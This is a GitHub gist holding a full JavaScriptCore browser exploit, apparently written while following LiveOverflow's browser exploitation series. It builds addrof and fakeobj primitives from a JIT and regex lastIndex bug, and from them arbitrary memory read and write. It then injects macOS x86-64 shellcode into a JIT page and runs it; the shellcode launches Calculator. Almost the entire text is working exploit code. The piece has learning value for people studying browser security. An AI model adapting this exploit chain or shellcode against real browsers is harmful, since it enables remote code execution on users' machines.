Skip to content

Instantly share code, notes, and snippets.

@howmuch515
Last active April 5, 2020 14:10
Show Gist options
  • Save howmuch515/1ec13bb47e0c726097b790b10e4d7de6 to your computer and use it in GitHub Desktop.
Save howmuch515/1ec13bb47e0c726097b790b10e4d7de6 to your computer and use it in GitHub Desktop.
LiveOverflow Browser Exploitation(https://liveoverflow.com/tag/browser-exploitation/).
let DEBUG = print
let JIT_COUNT = 10000
class Int64 {
constructor(val) {
this.buff = new ArrayBuffer(8)
this.u32 = new Uint32Array(this.buff)
this.f64 = new Float64Array(this.buff)
switch (typeof val) {
case "number":
this.fromDouble = val
break
case "string":
this.fromString = val
break
default:
throw TypeError("Int64 constructor requires an argument.")
}
}
get asDouble() {
return this.f64[0]
}
set fromDouble(val) {
this.f64[0] = val
}
set fromString(val) {
if (val.startsWith("0x")) {
val = val.substr(2)
}
while (val.length < 16) {
val = "0" + val
}
let vh = val.slice(0, 8)
let vl = val.slice(8, 16)
this.u32[1] = parseInt(vh, 16)
this.u32[0] = parseInt(vl, 16)
}
add(x) {
let i64 = new Int64(this.f64[0])
i64.u32[1] += Math.floor(x / 0x100000000)
i64.u32[0] += x % 0x100000000
return i64
}
sub(x) {
let i64 = new Int64(this.f64[0])
i64.u32[1] -= Math.floor(x / 0x100000000)
i64.u32[0] -= x % 0x100000000
return i64
}
unbox() {
return this.sub(0x1000000000000)
}
toString() {
let a = this.u32[1].toString(16)
let b = this.u32[0].toString(16)
if (b.length < 8) {
b = "0".repeat(8 - b.length) + b
}
let x = a + b
return `0x${x}`
}
}
let prims = {}
prims.addrof = obj => {
var array = [13.37]
var reg = /abc/y
// target function
var AddrGetter = function(array) {
"abc".match(reg)
return array[0]
}
// jitting
for (var i = 0; i < JIT_COUNT; ++i) {
AddrGetter(array)
}
regexLastIndex = {}
regexLastIndex.toString = function() {
array[0] = obj
return "0"
}
reg.lastIndex = regexLastIndex
return new Int64(AddrGetter(array))
}
prims.fakeobj = addr => {
var array = [13.37]
var reg = /abc/y
// target function
var AddrSetter = function(array) {
"abc".match(reg)
array[0] = addr.asDouble
}
// jitting
for (var i = 0; i < JIT_COUNT; ++i) {
AddrSetter(array)
}
regexLastIndex = {}
regexLastIndex.toString = function() {
array[0] = {}
return "0"
}
reg.lastIndex = regexLastIndex
AddrSetter(array)
return array[0]
}
DEBUG("[*] stage1")
let flags_arr_double = new Int64(`0x0108200700000200`).unbox()
let flags_arr_contiguous = new Int64(`0x0108200900000200`).unbox()
DEBUG("[+] spray StructureID")
let spray_array = []
for (let i = 0; i < 0x1000; i++) {
let a = [13.37]
a.x = 13.37
a[`p${i}`] = 13.37
spray_array.push(a)
}
let victim = spray_array[0x500]
DEBUG("[+] make hax")
let outer = {
js_cell_header: flags_arr_contiguous.asDouble,
butterfly: victim
}
hax = prims.fakeobj(prims.addrof(outer).add(0x10))
DEBUG("[*] stage2")
DEBUG("[+] make overlapped boxes")
let boxed = [{}]
let unboxed = [13.37, 13.37, 13.37]
unboxed[0] = 13.38
hax[1] = unboxed
tmp_butterfly = victim[1]
hax[1] = boxed
victim[1] = tmp_butterfly
DEBUG("[+] make new addrof/fakeobj")
prims.addrof = obj => {
boxed[0] = obj
return new Int64(unboxed[0])
}
prims.fakeobj = addr => {
unboxed[0] = addr.asDouble
return boxed[0]
}
DEBUG("[+] make AAR/AAW prims")
outer.js_cell_header = flags_arr_double.asDouble
prims.read64 = where => {
hax[1] = where.add(0x10).asDouble
return prims.addrof(victim.x)
}
prims.write64 = (where, what) => {
hax[1] = where.add(0x10).asDouble
victim.x = prims.fakeobj(what)
}
prims.set = (dst_ptr, src_array) => {
let b = new Uint8Array(0x100)
let m_vector = prims.addrof(b).add(0x10)
// unknown trigger...
let x = {}
prims.write64(m_vector, prims.addrof(x))
prims.write64(m_vector, dst_ptr)
b.set(src_array)
}
DEBUG("[*] stage3")
DEBUG("[+] jitting")
let pwn = (x) => {
var j = []
j[0] = 0x6323634
return (
x * 5 +
x -
(x * x) / 0x2342513426 +
(x - x + (0x85720642 * (x + 3 - x / x + 0x41424344)) / 0x41424344) +
j[0]
)
}
for (let i = 0; i < JIT_COUNT; i++) {
pwn(13.37)
}
let jit_page = prims.read64(
prims.read64(
prims.read64(
prims.read64(
prims.addrof(pwn).add(8*3)
).add(8*3)
).add(8*3)
).add(8*5)
)
DEBUG(`[+] jit_page: ${jit_page}`)
let nop_sled = "\x90".repeat(8)
// https://pastebin.com/ruh5dpMT
// launch "/Applications/Calculator.app/Contents//MacOS//Calculator"
let shellcode =
"\x48\x31\xd2\x52\x48\xbf\x6c\x63\x75\x6c\x61\x74\x6f\x72\x57\x48\xbf\x61\x63\x4f\x53\x2f\x2f\x43\x61\x57\x48\xbf\x74\x65\x6e\x74\x73\x2f\x2f\x4d\x57\x48\xbf\x2e\x61\x70\x70\x2f\x43\x6f\x6e\x57\x48\xbf\x6c\x63\x75\x6c\x61\x74\x6f\x72\x57\x48\xbf\x74\x69\x6f\x6e\x73\x2f\x43\x61\x57\x48\xbf\x2f\x41\x70\x70\x6c\x69\x63\x61\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x0f\x05"
DEBUG("[+] shellcode injection")
payload = nop_sled + shellcode
prims.set(jit_page.add(8), payload.split("").map(x => x.charCodeAt()))
DEBUG("[*] pwn!")
pwn(13.37)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment